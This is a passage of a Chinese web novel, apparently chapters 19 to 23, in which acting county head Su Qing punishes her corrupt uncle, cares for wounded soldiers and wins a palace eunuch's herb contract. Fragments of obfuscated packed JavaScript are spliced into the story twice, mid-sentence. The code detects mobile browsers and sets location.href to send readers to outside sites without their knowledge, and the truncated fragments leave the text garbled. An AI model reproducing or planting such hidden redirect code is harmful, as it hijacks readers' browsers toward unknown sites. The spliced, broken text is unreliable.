此次县试百般周折,能走到最后的,不说有多少势力,必然有钱。 这种人家养出的学生,岂是那种好脾气的。 巡捕到的时候,苏典吏已经被打的鼻青脸肿,在地上直打滚。 “疼死我了,疼死我了!你知道我二哥是谁吗!” “不对!你知道我侄女是谁吗?!” 说到这,打人书生怒骂道:“苏主事跟你能一样吗?!她跟你家不和,众所周知!” “我们要是听她的话,就不会被人笑话!” 天知道,他们在各自县里,也算有体面的。 这次去府城,想参加府试,却很狠狠嘲笑。 说什么县城的土包子,一点形式都看不明白。 这种情况,怎么可能有府试?! 还排除万难办县试,有何意义? 无用功罢了。 府学的官员本就不耐烦。 见他们没事找事,言语间更加刻薄。 更放话,若是再敢提府试的事,这些考生,以后都不必再考了。 说话间,竟然要断了这十五人的科举前程。 别说书生们愤怒,书生家里听说此事,恨不得生吞活剥了顾教谕跟苏典吏。 不管怎么样,能从四百七十人里脱颖而出的书生,本事还是有些的。 举全家之力培养出来的学生,若科举之路被断。 那就是毁他们全家! 想到这,大家手底下的拳头更狠。 衙门捕头等人,本来懒得拉架。 面对众人的愤怒,只好把苏典吏从里面捞出来。 打归打,不能打死了啊! 事情闹到这种地步,必然要上公堂。 打人的书生,以及书生家的奴仆。 再有苏典吏,以及顾教谕都来到堂上。 苏清低语几句,让人把县学附近的酒楼老板也喊来。 堂上闹哄哄的。 双方吵嚷得厉害。 谁也没想到,事情会发展到这一步。 就算是苏典吏,也以为府试不成就算了,为何还要嘲讽这些学生。 他想不明白的事,苏清倒是知道。 顾从斯甚至都察觉到什么。 他们这里都知道新皇注重科举。 但广乐府偏偏不能办,岂不是上赶着让新皇不高兴。 再者,若说下面各县连县试都办不成,也就罢了。 府学还有理由推脱。 现在好了,你南江县不仅办了,还办的众人瞩目。 府学这边自然尴尬。 不对这些人发火,还能怎么样? 更要把他们狠狠吓退,不敢再问。 苏清,难道早就知道此事? 所以她静观其变,把衙门跟苏典吏分开。 甚至让他主动上门,好把县学跟苏典吏也撇清关系。 顾从斯眼神复杂。 他本就聪明,稍加点拨,便成长迅速。 只是没想到,点拨他的人,竟是自己的未婚妻。 还是他一直不愿意承认的未婚妻。 等县学附近的酒楼老板来了,苏清轻拍惊堂木:“安静。” 声音虽不大,却极有力量。 两侧皂班捕手持刑具,口称威武,让本来吵闹的众人瞬间安静。 除了苏典吏顾教谕之外,其他人跪爬在地上。 苏清道:“此次考生起身,读书人不好失了体面。” 一句话,让本来满腔愤怒的书生们眼眶带泪。 终于来了个能做主的青天! 他们真是傻啊。 早点听苏主事的话,不会落到这种地步! “给顾教谕赐座。”苏清又道,“顾教谕经办五场考试,实在辛苦。” 这话也没错。 考生们没什么意见。 要不是有顾教谕,此次考试也不会这般公平。 说来说去。 只有苏典吏最恶! 都是他搅得南江县鸡飞狗跳! 明明衙门都听苏主事的,他们南江县多好啊。 外县考生同样这般想。 叛军来过之后,原本繁华的县城,变得一片狼藉。 很多地方至今还未恢复元气。 也就是南江县有些战乱之前的影子。 来此处备考,各家如此放心,就是知道这里太平安全。 这么好的地方。 却有苏典吏这种人! 看着眼前形式,苏典吏左右看看。 只剩酒楼老板还在趴着。 苏清却道:“你们说说,苏典吏使了你们多少银钱。” 酒楼老板们互相看看。 哪能不明白,自己老实交代了,苏主事大概率不会为难他们。 毕竟如今这场面,聪明人都知道,苏主事想收拾的,只有苏典吏一个。 这可是她亲三叔啊。 着实够狠。 但做一县主事。 若没有这般狠,也成不了事。 再说了,苏典吏捣乱在先,要是不反击,才显得软弱可欺。 酒楼老板必是不是蠢蛋,立刻把苏典吏如何巧取豪夺,问他们索要利润分成。 还说什么,四百多考生都是他弄来,挣得银钱要同他分等等。 更把账本拿出来,让苏典吏赶紧还这几个月的酒菜钱。 本就肿成猪头的苏典吏,指着苏清,半个字都说不出来。 苏清! 你在干什么?! 我是你亲三叔!!! 可你说话间,就让所有人指责我!? 还要把县试的锅,全都推到我身上?! 在场众人心惊之余,看向苏清眼神里带了说不出的敬佩。 她实在让人又敬又怕。 一个合格的主事,就该如此。 本地书生,竟然有种诡异的安全感。 这样手段果决,心思凌厉的主事,是他们的! 想想都让人忍不住臣服。 苏典吏意识到众人的态度,破口大骂道:“一个小小女子,还当什么主事。” “你爹没了,这位置就该是田县丞的。” “田县丞烂醉如泥,就该是我的!” “母鸡司晨,成何体统!” 苏典吏口不择言,还拉顾教谕下水:“办县试一事,也有顾家父子参与,你怎么不说他?!” “还未嫁人呢,就护着自己夫家,女子果然外向!” 顾教谕站起来,欲言又止,面色复杂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336711|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾从斯直接阻拦:“苏三叔,苏主事秉公办事,绝不徇私枉法。” “我们虽是未婚夫妇,她却从未插手县试之事,世人皆知。” “你虽是我们长辈,但国法大于家法,还请三叔见谅。” 顾从斯一番话,堪称无懈可击。 尤其最后那句,国法大于家法,甚至让人无法指责苏清无情。 苏清看了看顾从斯,再看向知道自己死到临头的苏三叔:“你虽是我三叔,却也不好徇私枉法。” “自己辞去这典吏一职,再把所敛财物一并充公。” “该道歉的道歉,该还钱的还钱。” “这样免受皮肉之苦,也好解了众人心中不平。” 说到底,苏典吏所犯之事说大不大说小不小。 偏偏他是有正经官职。 苏清想要直接免了他的官,自然不行,否则不会留他这样久。 现在形势所迫,让他自己辞官,是最好的选择。 苏典吏哪能不明白。 苏清算准一切,只为现在。 不对,甚至拿他立威! 好让众人更加服气。 府衙那边知道了,都不会说什么。 谁让苏清也是不想办县试的,正合府衙老爷们的心意。 一步一算计。 他那蠢二哥,如何生出这样狡诈的女儿! 论官职,他远胜苏清! 论辈分,他更是亲三叔!苏清的爹死了,自己就是她爹! 眼看苏典满口胡言,皂班捕快直接堵住他的嘴,拿着杀威棒恭候。 直等他写了辞呈,按下手印,又让家人取来所犯财物,更把官服官帽一并脱下,印章直接从腰间剪走。 这些做完,只穿着里衣的苏三叔盯着堂上苏清。 怪不得王乡绅这样怕她。 他看向苏清的眼神里,也带着了几分惧意。 “你会有报应的!” “你一个女子!做的再好,也只是个主事!” “还想做官?!做梦!你连典吏都做不成!” 苏三叔一边骂一边被捕快扔出衙门。 几个书生对视一眼,直接把他拖到街角,再狠狠打一顿才能出气! 苏清并不理会外面的情况,只吩咐人不要打死了,接着看苏三叔贪下的银钱。 乱七八糟加起来,竟然近六百两银子。 还有从酒楼顺出来的好酒十几坛。 酒楼老板们能拿回酒,已然高兴,剩下的债只说问苏三叔要,并不敢看充公的银子。 毕竟这事真论起来,他们也有过。 顾教谕那边也差不多。 此次只惩苏三叔,是他们运气好罢了。 “罗户房,把这笔银子充入库银,县里总有使银子的地方。” 此言一出,众人更是服气。 这是真充公啊,便是考生们,也觉得不错。 只要不落入苏三叔手中,那就是极好的! 也有人低声说:“南江县,再也没有人能威胁到苏清。” 苏清回到后宅,看了眼瑟瑟发抖脸上带伤的苏三婶母子,并未多讲。 她绝不允许苏三叔这样的威胁在身边,即使名义上的威胁也不行。 去年带着偷带苏县令家的细软逃跑。 回来之后大放厥词,逆着她的意,一意孤行办县试。 更别说,苏三叔虽然胡言乱语,但他的官职跟辈分,确实是个隐患。 无论哪一件事,都值得他如今的下场。 哎,小事解决完了。 还是发愁她的药材吧。 马上三月份,距离药材收获,不到两个月了。 北江县薛守备,到底是什么意思。 还是说,没给他送银子? 苏清挠头。 她要不要行贿啊? 还是算了吧,以利诱之,不得长久。 既然那边有意收购药材,自己何必着急? 或者说,还有什么事,是自己不知道。 20.第 20 章 兵房老龚再次出发。 苏清叮嘱老龚,让他多注意军营的情况,听说最近两个月小仗不断。 看看是不是这个原因,让军中无暇顾及此事。 话是这么说,苏清却隐隐觉得,不是这个原因。 不过这次,江对岸的守备军,没有让她疑惑太久。 因为龚兵房三月初四出发。 三月初五便回来了。 而且还不是自己回来。 身后跟着一百多伤兵,这些手上颇为严重的士兵,还抬着两根木头做成担架,上面带着伤势更严重的士兵。 啊?! 这是干什么?! 南江县码头,突然出现这么多血淋淋的人,吓得百姓们退避三舍。 还是苏主事来了之后,大家才敢凑上前看热闹。 苏清听到情况,来的极快,没问怎么回事,只道:“先疗伤。” “送到白家医馆跟郝家医馆。” “就说是我的口信。” 龚兵房松口气,颇有些愧疚地看向苏主事。 等到没人的时候,龚兵房才一口气说明情况。 “前线小仗不断,叛军现在的将领手段极多,朝廷军疲惫不堪,吃了几次败仗。” 苏清皱眉。 距离前线极近的南江县都不知道这件事。 看来朝廷有意隐瞒。 “我这次过去,找机会去军营看了看,没想到被薛守备的手下抓了个正着。” “不过对方没有多说,带我去看了北江县的伤兵。” “那边人手不够用,后勤也跟不上,很多伤兵无人照料。” 剩下的就不用说了。 龚兵房也做过士兵,同袍情谊,自然不一般。 薛守备三言两语,他就稀里糊涂带了一百四十多伤兵回来。 其中二十多为重伤,几乎奄奄一息。 好在两县距离极为近,过个江便到。 否则这些伤员,只怕都见不到大夫。 罗户房刚想说老龚你糊涂啊。 南江县情况交好,也是相比其他对方。 但不管存粮还是库银都不多的。 而照顾伤员,不管是人手还是银钱,全都消耗巨大。 再说了。 这次是一百多。 下次呢? 这些话还未说出,龚兵房心里其实也清楚。 谁料苏主事却道:“老龚,做了件大好事。” 为什么? 因为他们救死扶伤吗?! 罗户房立刻道:“士兵抗击叛军,为国为民,确实是好事!” 顾从斯来了之后,只道事情始末,也道:“为国立功,可以永年。” 本来愧疚的龚兵房听到两人这样讲,当下眼眶发红。 要是他当兵那会,有这样的官员愿意帮忙,士兵的日子不会那样苦。 苏清沉默。 她真不是这个意思。 大家都看着她,苏清轻咳道:“我的意思是,从去年开始,北江县作为前线,已经接近一年,后勤肯定薄弱。” “南江县距离北江县极近,若有余力,应当支援的。” 想要跟内官搭上线,必要付出一些代价。 苏清之前想到行贿,就是意识到这一点。 没想到薛守备要的不是什么金银,而是让南江县帮忙照顾伤员。 对于这点,苏清不仅接受,甚至欢迎。 一个是,这些将士保家卫国,救过南江县。 二是她想做伤药买卖,不跟伤员打交道才不对劲。 作为距离前线最近的县。 如果执意捂上耳朵独善其身,才是蠢货。 但是她没大家想的那样大义凛然啊! 她只是想照顾好南江县百姓而已。 不过在其他人看来。 苏清这般态度,让人敬佩不已。 尤其是领头的周千户把南江县官员态度传回江对岸,传到薛守备手中。 再由薛守备送到总兵手里。 薛守备还道:“不愧是总兵,想的就是长远。” “还有这苏清,着实为女中豪杰。” “把这封信送到苏主事手中,药材收购的事,让她放心。” 永生二年,三月初六。 苏清刚从白家,郝家医馆出来,便接到周千户送来的信件。 这周千户手臂也有伤,不过受伤较轻,是这些伤兵的头。 即便这样,还往返两地,第一时间带来薛守备的信件。 苏清眼睛一亮,快速拆开书信。 薛守备很有武将风格,信的内容十分简洁。 先是谢过南江县肯照顾伤兵。 接着,直接说总兵大人已经给新任命的内官带去口信,说明南江县药材情况。 届时内官会亲自过来考察。 不过有总兵大人开口,这事八九不离十。 这封信不算长。 但能从里面提炼不少消息。 一,前线早就注意到南江县的情况,对这里伤药情况极为了解,总兵都在关注。 二,龚兵房去了薛守备那五六次,迟迟没有消息,大概率跟新旧内官交接有关。 三,只要他们招待好新内官,南江县的药材买卖,以及作为伤兵后勤处的补贴,便能拿到手。 没错。 照顾伤兵,自然能问朝中要补贴。 倘若这份银子能拿到手。 甚至比买卖药材还要稳定。 到时候南江县百姓的日子,不说大富大贵,至少极为安稳。 信件收起,苏清对周千户笑道:“有薛守备跟总兵大人的话,我就放心了。” “白家跟郝家医馆也只是暂时落脚的地方。” “我已命人打扫本地的慈幼院,作为伤兵医院,周千户可否能通往,看看有没有需要添补的。” 周千户难得露出笑容:“苏主事果然周到,咱们现在就走?” 跟军中打交道也不错,至少做事利落啊。 有兵如此,那领头的总兵大人,估计也是这种性子。 听说那位还是新皇的亲弟弟,今年不过十九。 更是这层身份,让苏清对此次交易,颇有些信心。 接下来一段时间,苏清一面让人去巡查药田,另一面快速整理出慈幼院,再把伤兵转移里面。 照顾伤员的人手,除了从七家药铺里出之外,又临时招募一批老妇人,学习简单的护 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待醒酒赔钱后,装船送回薛守备处,以后不准再来。 周千户对此并无怨言,心里也夸苏清做得对。 士兵们面面相觑,知道是他们有错再先。 又有人说她是如何整治亲三叔,当下老实了。 此事到这里,已然了结。 苏清难免感叹,想要挣点军中银子。 还真是难啊。 不过让苏清最没想到的是,总兵知道此事后,竟亲自写了封信过来。 总兵一手字极为凌厉,气势磅礴,信里夸赞苏清有将帅之风。 说治军便该如此。 苏清挑眉。 这总兵有些意思。 知道南江县种药材。 知道他们想搭上内官的线。 更知道这些伤兵可能带来的危险。 但每一次,都是她解决大半后,再推波助澜。 似乎,是在考究。 考究她到底能做到哪一步,考究她到底值不值得合作。 现在看来,似乎通过考验了? 不愧是能当总兵的人,着实有些能力。 不管怎么样。 他们总兵都发话了。 南江县的太平日子,可以继续下去了,再惩治这些伤员,苏清也有话说。 苏清本想让刘小妹把信件收起来,却又看了看上面的字。 自己要是有这手字就好了。 必然能让顾从斯闭嘴。 苏清想了想道:“等会,我临摹几遍再说。” 一向手脚麻利的小妹愣愣点头,苏清有些奇怪,刚要问问怎么回事,就见罗户房快步走来。 “苏主事!薛守备来口信,说内官五日后就到!” “会专门在南江县落脚!” 内官! 买药材的内官! 苏清忍不住笑道:“太好了,终于要来了。” 他们南江县的药材,可以卖出去了! 21.第 21 章 顺昌国军制不算复杂。 基本分为卫所制跟营兵制。 可以理解为前者常驻,后者机动。 如今在前线的,便是因叛军所设的营兵。 而作战体系,则是文臣总督指挥,内臣太监监军,武臣总兵作战。 但如今的总兵为新皇亲弟,故而指挥作战为一体。 虽然都喊总兵,实则总兵总督兼任。 作为监军的镇守内臣,则是皇上的心腹太监,人称粱礼公公。 不管总兵总督,还是监军内臣。 都距离苏清太远。 不过这些都必须知道。 因为弄明白如今的官制,方能对来者推测一二。 “新来的内官名叫余申,都喊一声余公公。” “好像是新皇登基后,才入了皇上的眼。” “之前的内官收受贿赂,被人检举,闹到去年八九月份,京城那边只能召回,换了这位余公公过来。” 这些消息,一部分是负责照顾伤兵的周千户所言。 另一部分,则是苏清派人打探来的。 几方消息互相印证,所讲之事大差不差。 余申,余公公。 今年还不到四十,就能被派来做内官管后勤,必然有些本事。 苏清吩咐道:“让差役多出去看看,务必带来准确消息,到时候我们好出城迎接。” 如此殷勤,盖因人家是宫里皇上身边红人。 也因现在马上四月,她急着给药材找下家。 想让南江县的药材得到重视,如今这九千亩的数量,肯定不够看。 但如果头一回种药材,就没有人大量收购。 原本在观望的农户,肯定会犹豫,说不定原来种药材的农户都要重新改种其他东西。 这样一来,这半年的谋划,就全部泡汤。 简单来讲。 有人收购能看到前景,接下来半年里,会有更多农户积极参与。 如果看不到前景,原本的九千亩数量也保不住。 故而将来的余公公,便极为重要。 不能在关键时候掉链子啊。 苏清提前命人清扫街道,打扫衙门。 又让人把后宅一处僻静院子打扫出来,移植上花木。 “再寻两个会做京城饭食点心的厨娘。”苏清继续道,“价格好说,让她们随时候着,保证余公公一来,就有热汤饭。” 顾从斯皱眉。 他虽知道余公公重要,但如此这般,是不是有些谄媚。 “不必这样,你能力强,本地药材种的也好。” “相信大家都看得到,何必如此。” 苏清直接戳破:“觉得我谄媚?” 此刻身边人少,她直接道:“你是不是看不起太监。” 顾从斯不答。 看样子就是了。 这顾从斯有些读书人的傲气,自然看不惯太监公公之流。 苏清不理解但尊重,懒得解释,只道:“反正按我说的做就行。” 顾从斯这一点倒是很好。 他不理解但照做。 顾从斯他爹顾教谕也接受一部分差事。 不过听云喜说:“顾教谕想让顾秀才抽出时间读书,不能荒废学业。” 对哦,在读书人眼里,吏官跟太监公公也差不多,自然不愿意让顾秀才深陷其中。 苏清只当不知道。 南江县事情极多,不说药田的事,还要照顾伤员。 又因他们这边码头修缮得好,商船来的也多。 现在又要迎接后勤余内官,哪有工夫管这些,能做事就行! 南江县这边,准备的万分周全。 苏清难得抽出时间,也没去休息。 而是专门找梅娘说话。 主要问问刘小妹的事。 前几日,苏清发现小妹有些不对劲,问了几次,都没问出原因。 提到这事,梅娘叹口气:“还能因为什么,刘主簿没了一年,朱家准备让朱娘子另嫁他人。” “还说把小妹送回刘家庄,让刘家族人抚养。” 嫁人,乍一听是好事。 可都说初嫁从亲,再嫁由身。 现在朱家,冷不丁地要朱娘子再嫁。 怎么可能是为她考虑。 更别说,还要把她们母女分离,如何能接受。 刘主簿跟朱娘子两人夫妻和睦。 刘主簿走了之后,留下母女两人,也算靠着苏清接济。 虽说孤儿寡母,可住在衙门,无人敢欺扰。 这般日子过得也松快,还攒了不少体己钱。 朱娘子自接到家中信件,便忍不住哭泣:“我跟老刘自幼认识,算不得盲婚哑嫁,日子都难免有刻板。” “现在嫁个不知所谓,还要把我女儿送走,还不如让我去死。” 苏清听到这,皱眉道:“那朱家是从什么时候,打起这个主意的。” “好像是年后吧。”梅娘想了想道。 破案了。 苏清自做主事,大事小情见过不少。 了解前因后果,多半猜出缘由。 年前梅娘跟朱娘子都送了节礼到夫家娘家。 本来是礼尚往来,走走亲戚。 估计那朱家发现朱娘子过得不错,每月有两份俸禄不说,若把她再嫁出去,还能再收一份聘金。 钱帛动人心,朱家爹娘跟朱娘子兄弟,必然在打银子的主意。 可家人几次三番来信催促,惹得朱娘子面上无光,还被人议论。 刘主簿家里那边知道这事,也想把刘小妹接走。 说族里商量好了,会养育小妹,再寻个好亲事。 多半是被朱家烦得要死,干脆舍了这门亲。 朱家贪婪。 刘家也没好到哪去。 小妹今年不过十一。 强行带回族里,又是个爹死娘改嫁的,不一定受多少欺辱。 刘小妹以前话虽不多,却也是个灵动的小丫头。 现在闷闷不乐至此。 连她都知道的事,其他人怎会看不懂。 只有娘家来信,朱娘子尚能承担。 若夫家来人接走小妹,她必生不如死。 梅娘惊讶。 女儿竟然全都猜对了,不差分毫。 “那要怎么办。”梅娘立刻道,“清清,能不能救救她们俩。” 苏清思索片刻,一时也拿不准主意,只道:“我先给朱家刘家写信,就说小妹跟朱娘子在衙门有差事,一时离不开。” “让他们不要贸贸然派人过来,否则就算来了,也带不走人。等我这边找到合适的人手,再同他们写信。 先用缓兵之计。 她再找找机会。 不过这事确实有些麻烦。 朱娘子娘家,还有刘家庄的亲族。 哪一个说话,都很有用。 小妹的事说完,苏清下意识看向梅娘:“娘,我那两个舅舅可好?” 朱娘子母女有不少体己钱。 梅娘也有啊! 而且她作为主事,俸禄跟苏县令那时候差不多,钱更多啊。 梅娘没听出女儿的潜台词,只道:“你大舅跟二舅也说要过来,害怕咱们在这辛苦。” “年后托人带了不少布料,说给咱们做衣裳。” “你外祖还把祖传的人参送过来,说保命用,还说要是人参在的话,你爹就不会。” 说到这,梅娘看向女儿,忍不住笑着搂住她:“好孩子,你外祖还有舅舅们都很好。不会让娘嫁人的。” 苏清试探舅舅的意思,被听了出来,不过她立刻澄清 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小院恬静安逸,确实是个养病的好地方。 余内官脸色苍白,强忍着不适,跟苏清道了句谢,接着又昏睡过去。 余内官身边带了十几仆从。 以身边王公公,李公公为先,负责贴身照料。 两人也因这趟公差,才攀附上余内官,没想到还未到任,余内官竟有归西的征兆。 武捕头本想问,要不要请大夫来看看。 苏清稍稍摇头,等王李两位公公问了,这才派人去请。 生病这种事,可大可小。 若主动去请,出了事,必然有责任。 人家先开口就会安全许多。 她是想让南江县百姓过上好日子。 不是想葬送药田的事业啊! 好在安排得京城厨娘派上用场。 做了碗做烂糊的鸡蛋疙瘩汤,用的是京中手法,余内官喝了一些,气息平缓不少。 白大夫跟郝大夫道:“此乃痢疾,多是路上吃了不干净的东西,以至怕冷发热,能吃下些东西就是好的。” “这病症就是要多休息,多修养。” 两人开了方子,苏清也看了看,没什么问题,这才让人去煎药。 “亲自照看些,余内官是贵人,万分小心。”苏清嘱托白郝两位大夫。 这话也不瞒着病弱的余内官还有王李两位公公。 这种时候,有苏清这种办事妥帖的地方官员,也是他们的幸运。 出了卧房,另有给随行人员准备的餐食,自然丰盛畅快,让大家都好好歇歇。 另派了机灵的云喜等人照料传话。 事情处理完,原本着急的苏清也不急了。 现在急有什么用。 生病的人最不能打扰。 还是让余内官好好养病吧。 等病养好了。 总能收她的药材吧?! 事情不算顺利,苏清倒也不气馁。 不管事成与否,都不妨碍她把差事做到位,也不妨碍她积极地想办法。 好在,总有好消息传来。 朱家刘家回信过来,说苏主事既然要用人,他们不好贸然过来。 这事,算是暂时搁置。 最近一段时间,不会有人带走朱娘子母女。 苏清放下信件,不再回复,提笔给薛守备写信,告诉他这边的情况。 顾从斯帮忙整理信件,正好看到苏清铁笔银钩的字迹,皱眉道:“你新学了什么字帖?” 苏清把另一封信件放到上头,示意一起收起来,笑道:“好看吧?多有气势。” 就冲这份气势,她便对接下来的交易,十分有信心。 22.第 22 章 “余内官,我把窗户打开通通风吧。”云喜端着饭菜进来,关切道:“内官身上还有虚汗吗?我先给您擦一擦。” 能当门房的小子,一般都机灵得很。 知道这位内官对苏姐姐很重要,云喜更加卖力,半点没有不耐烦。 小小的少年,用温水将手帕打湿了,再给余内官擦去虚汗,整个人都清爽不少。 余内官松口气,又被扶着起来,吃些东西,这才有力气骂道:“那群不知所谓的,只会躲懒。” 这骂的,自然是他左右手王公公李公公。 这一路辛苦,两人也照顾余内官许久。 现下有人接手,自然要好好歇歇。 余内官说了几句,轻轻喘着气,眼神甚至宽慰地看向云喜。 自四月初九到南江县,现在四月十六。 一直都是这孩子照顾自己。 知道他的身世后,余内官不免感伤。 他当年也是无父无母,被族人卖到宫里做太监。 倘若那时候,能遇到苏县令,或者苏清这种官员,想来也不会成为公公,一辈子无后。 想到无后这两个字,难免又想到族人要把孩子给他当义子,实在是恶心至极。 毕竟这就是吃他的绝户,想要他多年积攒的家底。 哪能点头。 估计是在病榻上,余内官难免多思多虑。 听到门外有个小丫头喊云喜,这才回神。 门外小女孩说话文文静静:“这是苏姐姐让我送来的点心,很是清爽,看看余内官喜不喜欢。” 苏姐姐? 苏清? 余内官打起精神,让云喜取了五十文赏钱给外面的丫头,又道:“多谢你们苏主事了。” 余内官自然知道苏清如此殷勤的原因。 他在宫里二十多年,这点小算盘,抬抬眼就知道。 不过他没想到,一个十七岁的小姑娘,能把战乱后的地方,打理的这样好。 甚至还攀上军中的关系,让三皇子,不对,如今是三王爷了。 让三王爷的心腹薛守备传话,请他这个军中后勤内官,特意在此停留。 以便考察收购此地的药材。 也幸好在南江县停留。 若不是此处的贴心照顾,他能不能活着到军中,都是个问题。 而且养病这四五天里,苏清除了派人送来茶水点心果子,并不刻意打扰。 如此耐心,放在京城都是少见的。 余内官眼中闪过欣赏,云喜已经把点心装好送到跟前。 “去帮我喊个人。”余内官把点心分给云喜,又道,“把小王公公,小李公公喊过来。” 余内官又骂:“不长眼的东西,我是病了,他们没病,就不能做点事。” 做什么事? 云喜强按激动,就听内官道:“让他们去视察药田,拟个契凭,到时候送到我上司,也就是军中镇守内臣处,此事就能定下。” 简单来讲。 就是收药材! 余内官虽在病榻,却已经拍板了! 十三岁的云喜到底是个少年,实在没忍住欢呼出声:“好!我现在跑着去。” 说罢,又回头道:“我让其他门房在外面侍候,内官要是有事,直接喊他们就行。” 云喜小跑着报喜,先去找王李两位公公,随后立刻告诉苏主事。 最后喘着粗气,站在余内官门外,听里面商议收药材的事。 衙门正堂旁侧厅内。 苏清坐在主位,旁边依次坐着衙门顾从斯,罗户房,龚兵房以及武捕头。 他们原本就在商议公事,看到云喜急匆匆跑过来耳语几句,又急匆匆离开。 而苏主事脸上带了真切的笑,放下手里的文书,看向众人。 “好事将近。” 最近能被称为好事。 只有一个了! 药材收购?! 苏清点头。 虽说她已有七八分把握。 南江县不过九千亩药田,对整体的军中采购来说,不算什么大事。 再加上总兵开口,以及衙门这段时间的悉心照料。 余内官不松口,才是怪事。 不过他的病还没完全好,就让手下去办,着实让人没想到。 “今日四月十六,距离第一批药材成熟,还有半个月时间。” “只要采购文书递上去,等着镇守内官批复即可。” 作为余内官的顶头上司,镇守太监不会在这种小事上做文章,基本上不会反对。 总而言之,现在最关键的一部就要成了。 苏清总会不高兴。 在场众人明白过来,全都长舒口气。 他们南江县的药材,终于有人收购了! “其实来往船只也在打听咱们的药材。”罗户房不屑道,“都等着军中不收,然后压价采买呢。” 这点苏清也知道。 他们南江县药材种得好,自然引起窥探。 不过她确实做好准备。 倘若军中不要,那就再跟过往大商户们谈。 毕竟卖给谁不是卖,只要能让大家过上好日子,一切都可以谈。 被余内官训斥过的王李两位公公,倒也不含糊,领令后,便带着手下去巡查药田,记录各种药材的情况。 用他们两位的话讲:“在南江县吃吃喝喝这样久,哪能不做事啊。” 从京城到广乐府南江县,一两千里地,赶路都累死了,还要照顾病人。 也就来了南江县,颇有些宾至如归之感,甚至能吃到京城的口味。 这番用心,大家都看在眼中。 故而余内官不等病好,便让手下做事。 手下也不推托,尽快把差事办成,盖了余内官的印章后,就送到前线去。 同时也说明他们这里的情况,四月二十五之前,他们定然到任。 这话一说,白大夫有些犹豫:“余内官的病还没好全,若再奔波,恐怕再生病症。” 余内官之前的病为痢疾,跟食物不洁净,还有水土不服有关。 这种病只能养,半分急不得。 余内官却摇头:“已经养的够久了,不能再耽误。” 既如此,苏清吩咐白大夫跟郝大夫,尽心用好药去治。 私下里,她开了张不俗的方子给到两人。 “余内官下痢赤白,身热,脉数,舌苔黄腻。” “用黄芩二至四钱,生白芍一钱半到三钱。” 余下白头翁,秦皮等等不再细讲。 总之这方子拿出来,两位大夫面面相觑:“苏主事,你家祖上,难道是什么名医?!” 上次预防疫病的方子,都让他们惊叹不已。 这次更是对症。 除非为祖传,不然绝不可能啊。 苏清想到自己姥姥,这不是什么祖传,是姥姥传。 苏清笑而不语,只让他们去猜,又故弄玄虚道:“他人面前不要提。” 两人连连点头,当下去亲自去抓药,必用最好最精的药,方能报答苏主事。 当然,换药方之前,先让余内官看过,那边点头了,他们再熬药。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16355968|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“苏清这小丫头,就算放到皇宫里,必能做个真正的女官。”余内官忍不住感慨。 如今的苏主事,到底不是官员苏清,只是临时的职位罢了。 就跟她的手下,也只能是各房代主事一样。 云喜一个劲点头,随即好奇道:“内官大人,宫里有女官的话,那苏姐姐能不能当真正的官员,就当南江县的官员。” 余内官想了半晌,稍稍摇头:“我还未见过女子当县令的先例。” 事实上,能代掌一县,已经是朝廷无暇顾及了。 云喜叹口气。 他是南江县本地人,最了解本地人的想法。 倘若换个人来做县令,肯定不如苏姐姐的。 余内官见这机灵的少年难得沉默,宽慰道:“或许是我见识浅,回头我问问,有没有这种情况,本朝没有,那就看看先朝。” 就算只有一个例子,说不定还真能请旨。 让苏清做真正的官员,即使是七品芝麻官,也不错了。 苏清听到云喜眉飞色舞转达,心念一动,不过好笑道:“有名无实也罢,有实无名也行。” “就算有机会,也要自己能把握住。” 现在南江县的情况,还不足以让人点头。 再说了,没有先例又如何。 没有先例,她可以当那个头一份,岂不是更好。 接下来几日里,云喜等人照料的愈发好,那新方子也很不错。 等到四月二十一,余内官的病已经好了大半,可以出房间活动活动。 人只要能下地,多吃些好饭,距离康复也就不远了。 四月二十四,距离他们启程还有一日,余内官说话都很有气力。 苏清过来的时候,余内官正在给云喜赏钱,见刘小妹跟着苏清过来,也抓了一把给她。 他这辈子无后,更不想跟族人子侄多来往,故而愈发喜欢别人家的小孩。 苏清这次过来,肯定是送行的。 她跟余内官接触这样久,明白这是个口直心快的公公,交谈起来十分畅快。 “军中所需药材数量极大。” “只要你们这批药材种的好,以后再收购,就简单了。”余内官说着,又道,“还有,你们南江县照顾伤员的事,我也报上去了。” “你们记好钱粮损耗,到时候一并批复。” 听到这,苏清心里的大石头终于落地,起身拱手谢过余内官:“多谢内官看重,我等跟南江县百姓万分感激。” 余内官也笑,苏清不过十七,在他眼中也是孩子年纪,招招手:“坐吧,以后要打交道的地方多着呢,不用这样客气。” 四月二十五早上,平白先刮了一阵风,随后淅淅沥沥下起雨,雨滴不算大,却密得很。 余内官一行已经上船,朝苏清他们招手:“快回吧,等消息即可。” 苏清让人快送些蓑衣雨伞过去,远远看着船只驶向江对岸。 等余内官的船只再也看不到,远处又来了一艘极为华丽的商船。 苏清顿了下,身上则被顾从斯披上蓑衣。 见苏清看过来,顾从斯道:“你一直不接。” 好吧,苏清又被戴上草帽挡雨,下意识再次看向那艘船。 而船上拿着西洋镜的叶山鸣嘴角挑起:“竟看了出《琵琶记》。” 身边人奇怪,琵琶记? 这不是讲未婚夫妇的戏吗。 西洋望远镜,还能看到顺昌国的戏? 好神奇啊! 苏清自然不知这些话,满脑子一个念头,他们南江县,要发财了! 23.第 23 章 明明已经四月底了,这雨忽然下下来,还是有些凉。 